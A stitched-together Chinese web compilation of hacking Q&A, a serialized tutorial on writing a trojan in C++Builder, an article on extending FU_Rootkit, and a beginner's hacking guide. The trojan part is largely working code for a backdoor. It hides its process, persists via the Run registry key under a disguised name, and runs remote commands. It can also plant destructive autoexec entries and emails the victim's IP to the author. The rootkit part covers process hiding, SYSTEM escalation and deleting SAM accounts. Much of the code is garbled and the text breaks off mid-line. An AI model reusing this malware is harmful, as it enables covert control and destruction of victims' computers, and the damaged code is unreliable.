像一些黑客工具是用什么语言编写的?它们是如何转化成图形化的程序的?
是的,大多是编辑成图片之类的,你打开后直接侵入你的注册表里。
黑客是根据什么来编写编码
你这个是奇怪的问题,黑客软件有很多。比如扫描,远控,只要是黑客就没什么限制写代码。
随手来个bat就能扫描端口了。远程控制的话也好多,一般主流都能写出来。就是要过杀毒的查杀,
你不会是在这问需要学习什么编程软件来当黑客吧,其实编程这东西很奇妙,当我写出各种软件的时候总会有好多成就感。当然不是什么黑客软件。
电脑黑客如何编写程序?
额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
catch(...)
file://如果有错误,什么也不做
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
else if(temp.SubString(0,3)=="dir")
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
times_of_try=0;
while(fp==NULL)
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
while ((ent = readdir(dir)) != NULL)
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
else if(temp.SubString(0,4)=="type")
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
else if(temp=="open")
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
else if(temp=="close")
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
接着就是交换目标机的鼠标左右键,代码如下:
else if(temp=="swap")
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
else if(temp=="reboot")
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
如果以上都不是,就让它在Dos窗口中执行传来的命令:
else
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
NMSMTP1-Connect();
file://再次连接
catch(...)
goto NextTime;
file://跳到NextTime
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
fu_rootkit
fu_rootkit可以隐藏进程和驱动,改变进程令牌和SID,例举用hook技术隐藏的进程和驱动,而且它是公开源代码的。
我在2004年11期黑防上刊登了《小工具巧删Guest/Administrator账户》这篇文章,有不少朋友来信询问工具是如何编写的,其实这个工具里面大部分代码是我拷贝FU_Rootkit过来的。既然朋友们喜欢,这几天我又多了好多想法,那我就来讲讲怎么充分挖掘利用FU_Rootkit吧!
先去把FU_Rootkit 给Down下来,以前它在Windows 2000专业版下面提升进程权限有问题,新版本已经修复这个问题。FU_Rootkit也算是“养在深闺人未识”了,比起Hxdef、AFX RootKit来名气小多了,不过是金子终究是要发光的,这不,今天我们就让它来发光了!
FU_Rootkit是开源的,用C语言编写,很容易移植。我的开发环境是Windows 2000+SP4+VC6.0。FU_Rootkit主程序包括2个部分:Fu.exe和Msdirectx.sys。 Msdirectx.sys能直接载入核心内存,Fu.exe则是相应的应用程序。先来看看它的部分功能:
[-pl] xxx 列举所有运行进程
[-ph] #PID 隐藏进程标识符为PID的进程
[-pld] 列举所有载入驱动程序
[-phd] DRIVER_NAME 隐藏指定驱动
[-pas] #PID 提升进程标识符为PID的进程权限至SYSTEM
[-prl] 列出可用的权限名单
[-prs]
[-pss]
可以看出FU_Rootkit不仅可以隐藏进程和驱动,改变进程令牌和SID,还可以例举用Hook技术隐藏的进程和驱动。我们今天要做的就是利用Msdirectx.sys完成我们自己的黑客工具集的编写!
权限提升
有了权限我们才能任意地操作,让电脑为我们实现各种功能,所以第一步首先是权限提升。
我们知道,提升进程权限可以用Psu工具,FU_Rootkit也能够实现这个功能,它可以将任意进程提升到SYSTEM权限——不光可以给其它进程提升权限,还可以把自己的进程也提升为SYSTEM权限哦(在下面的文章中你将可以看到这个功能是多么的有用)!
第一步:载入Msdirectx.sys
具体代码见InitDriver()函数。其实朋友们大可不必完全看懂这些代码,把函数直接拷贝过去就OK了。
第二步:查找进程的PID
代码如下:
const char DESTPROC[19] = "UserManager.exe"; // UserManager.exe是程序的进程名称
AddPrivilege(SE_DEBUG_NAME); //提升进程DEBUG权限
HANDLE hRemoteProcess = NULL;
DWORD pid = ProcessToPID(DESTPROC);//这里的pid就是我们进程PID
// ProcessToPID函数如下:
DWORD ProcessToPID(const char *InputProcessName)
//将进程名转换成进程PID的函数
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = "UnknownProcess";
//提升进程权限至DEBUG权限
AddPrivilege(SE_DEBUG_NAME);
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), cbNeeded ) )
return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i cProcesses; i++ )
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
if ( EnumProcessModules( hProcess, hMod, sizeof(hMod), cbNeeded) )
GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, InputProcessName))
CloseHandle( hProcess );
return aProcesses[i];
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
第三步:提升进程权限至SYSTEM
具体代码见UpdateToSystem()函数。这样我们的进程UserManager.exe就具备了SYSTEM权限了。
攻击篇
当你得到肉鸡的SYSTEM权限后,当然要把自己的后门进程或驱动器隐藏,然后克隆账号,留个隐藏账号什么的,下面我们就来看看这些功能如何用程序来实现。
1.克隆帐号
各位朋友看到小榕的CA工具是不是很眼馋,想不想自己写一个?在黑防2003年的第7期《C语言克隆账号》上已经有具体介绍。一般来讲,克隆账号的方法有2种:一种是利用系统服务的SYSTEM权限读写SAM文件;第二种是利用驱动提升进程权限。我们这里采用第二种办法。在《C语言克隆账号》一文中,由于其不具备SYSTEM权限,需要手工修改注册表才能够操作注册表SAM文件夹,比较麻烦。在我们这里当然是没有问题的,将其代码COPY过来,粘在我们工程里面就可以了。
2.进程隐藏
进程隐藏实乃木马病毒的必备防身本领,FU_Rootkit中的最基本功能之一就是进程隐藏,首先我们要知道进程的PID或者进程名,然后才能将它隐藏,隐藏代码如下:
DWORD HideProc(DWORD pid)//pid是你要隐藏的进程的PID
DWORD d_bytesRead;
DWORD success;
if (!Initialized)
return ERROR_NOT_READY;
success = DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_HIDEME,
(void *) pid,
sizeof(DWORD),
NULL,
0,
d_bytesRead,
NULL);
return success;
假如你要想找出隐藏的进程,可以采用工具RTDector0.62工具,黑防以前就介绍过。
3. 驱动隐藏
驱动隐藏?很少见吧。有经验的管理员一般都会使用命令Drivers.exe来查看载入的驱动(Drivers.exe可以在Windows 2000的资源包里面找到),
看到Msdirectx.sys暴露出来了吧?而FU_Rootkit就可以把自己的 Msdirectx.sys隐藏起来,运行的命令是:“C:\fu.exe –phd msdirectx.sys”。当然这个功能我们也可以很轻松地移植到我们的程序中去。
防御篇
千万不要以为FU_Rootkit得到SYSTEM权限只是用来攻击,不能防守,其实Rootkit是一把“双刃剑”,运用得当,同样是防御的好帮手。同时,作为一名菜鸟,当然是防守为先,所以请看防守篇。
1. 系统用户查看
眼下只要翻开一本黑客杂志,经常看到什么“隐藏帐号”、“不死帐号”什么的,吓得我等菜鸟心惊胆颤,经常对着用户管理发呆,究竟有没有问题呢?这里我们可以利用LPUSER_INFO_3读取用户信息,包括用户名、用户全名、用户描述、登录次数、登录权限以及上次登录时间等参数,代码较长而且简单,这里就不贴了,有兴趣的可以查看DWORD CUserManagerDlg::UserALLE()函数。
当然,列举账号可以直接从SAM\\SAM\\Domains\\Account\\Users\\Names\中读取,然后与LPUSER_INFO_3中读出来的账号进行对比,这样就能找出隐藏的账号,将那些隐藏的、不死的统统打回原形,让你把账号看得“清清楚楚,明明白白”。
2. 删除Guest
先来看看如何删除Guest用户吧。获取SYSTEM权限后,只要删除在注册表SAM文件夹中对应的Guest和000001F5文件夹就OK了!
void CUserManagerDlg::Deleteguest()
BOOL upResult;
upResult=UpdateToSystem();
//先查看一下进程提示权限至SYSTEM成功没有
if(upResult)//如果权限提升SYSTEM成功的话
// 删除GUEST用户!
BOOL dResult;
dResult=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\Names\\Guest");//删除Guest文件夹
BOOL dResult2;
dResult2=DelNT(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account\\Users\\000001F5");//删除guest对应的ID号000001F5文件夹
if(dResultdResult2)
AfxMessageBox("成功删除GUEST用户!");
else
AfxMessageBox("删除GUEST用户失败!");
else
AfxMessageBox("提升至SYSTEM权限失败!");
其中DelNT()函数是专门定义用来删除注册表子键的函数。
3. 删除Administrator
看到标题你可不要吓一跳,Administrator一般情况下是不能删除的,当然你可以到控制面板-管理工具-计算机管理里面重命名该账户,也可以使用NT Resource Kit提供的Passprop工具启用对Administrator的锁定。我们这里当然要挑战极限:删除Administrator!代码跟删除Guest用户的代码差不多,换个参数就可以了,分别删除注册表SAM文件夹中的Administrator和000001F4文件夹就可以了。而且可以在Administrator当前用户下删除,强吧?嘿嘿。假如你只有这么一个管理员账号的话呢,不好意思,恭喜你:你的机器上从此没有管理员了!
小提示:强烈建议删除Administrator之前一定要先创建一个其它名字的管理员账号!据《微软信息安全文集》中说,删除Administrator和Guest系统内置账户有可能导致破坏SAM数据库,不过《微软信息安全文集》的作者同时声明:经他测试,没有发现副作用。
4. 查杀进程篇
朋友们是否经常遇到这种情况:在任务管理器中发现一个未知进程,并且杀不掉,说是权限不够,这个问题在我们获取System权限后就不再是问题,现在病毒、木马等都是双进程,互相监控,给我们查杀进程带来很大不便,需要我们能够同时查杀多个进程。选用Listview控件作为进程的列举控件,将Checkbox选项选中,这样我们就可以同时选中多个进程进行查杀,爽吧?!
5. 列举用Hook技术隐藏的进程和驱动
这个功能就是FU_Rootkit的过人之处了,可以帮助你查找利用HOOK技术隐藏的进程和木马。实现方法比较简单,大家可以去源码中查看ListProc(void *buffer, int buff_size)和ListDriv(void)函数。
本文利用FU_Rootkit获取SYSTEM权限后,完成了很多实用的黑客小工具, System和Administrator权限一般人看起来感觉都差不多,但在一些与系统内核交互的细节上,可以看出System权限要更大一些。譬如说注册表中的某些文件夹、对物理内存有读写能力等方面。因此,获取System权限后所能做的事情远远不止我们上面所说的这些,希望大家共同挖掘。
上有很多开源的好资源,研究并扩展其功能便可以写出很多有用的小软件。将其功能添加到我们小马中去,将会大大提高其生命力。朋友们,现在是不是感觉黑客软件不过如此,人人能写?如果是这样,也不枉费我一番苦心。由于工作关系,时间确实有限,不可能将上面的功能全部一一实现在代码中,其实已经是体力活了,很多功能都只需要把代码COPY进去就可以了。特将删除Guest/Administrator的小工具和FU_Rootkit的代码附上,朋友们升级了可要寄给我一份哦!
学黑入门
一、了解一定量的英文:
学习英文对于黑客来说非常重要,因为现在大多数资料和教程都是英文版本,而且有关黑客的新闻也是从国外过来的,一个漏洞从发现到出现中文介绍,需要大约一个星期的时间,在这段时间内网络管理员就已经有足够的时间修补漏洞了,所以当我们看到中文介绍的时候,这个漏洞可能早就已经不存在了。因此学习黑客从一开始就要尽量阅读英文资料、使用英文软件、并且及时关注国外著名的网络安全网站。
二、学会基本软件的使用:
这里所说的基本软件是指两个内容:一个是我们日常使用的各种电脑常用命令,例如ftp、ping、net等;另一方面还要学会有关黑客工具的使用,这主要包括端口扫描器、漏洞扫描器、信息截获工具和密码破解工具等。因为这些软件品种多,功能各不相同,所以本书在后面将会介绍几款流行的软件使用方法,学习者在掌握其基本原理以后,既可以选择适合自己的,也可以在“第二部分”中找到有关软件的开发指南,编写自己的黑客工具。
三、初步了解网络协议和工作原理:
所谓“初步了解”就是“按照自己的理解方式”弄明白网络的工作原理,因为协议涉及的知识多且复杂,所以如果在一开始就进行深入研究,势必会大大挫伤学习积极性。在这里我建议学习者初步了解有关tcp/ip协议,尤其是浏览网页的时候网络是如何传递信息、客户端浏览器如何申请“握手信息”、服务器端如何“应答握手信息”并“接受请求”等内容,此部分内容将会在后面的章节中进行具体介绍。
四、熟悉几种流行的编程语言和脚本:
同上面所述一样,这里也不要求学习者进行深入学习,只要能够看懂有关语言、知道程序执行结果就可以了。建议学习者初步学习C语言、asp和cgi脚本语言,另外对于htm超文本语言和php、java等做基本了解,主要学习这些语言中的“变量”和“数组”部分,因为语言之间存在内在联系,所以只要熟练掌握其中一们,其他语言也可以一脉相同,建议学习C语言和htm超文本语言。
五、熟悉网络应用程序:
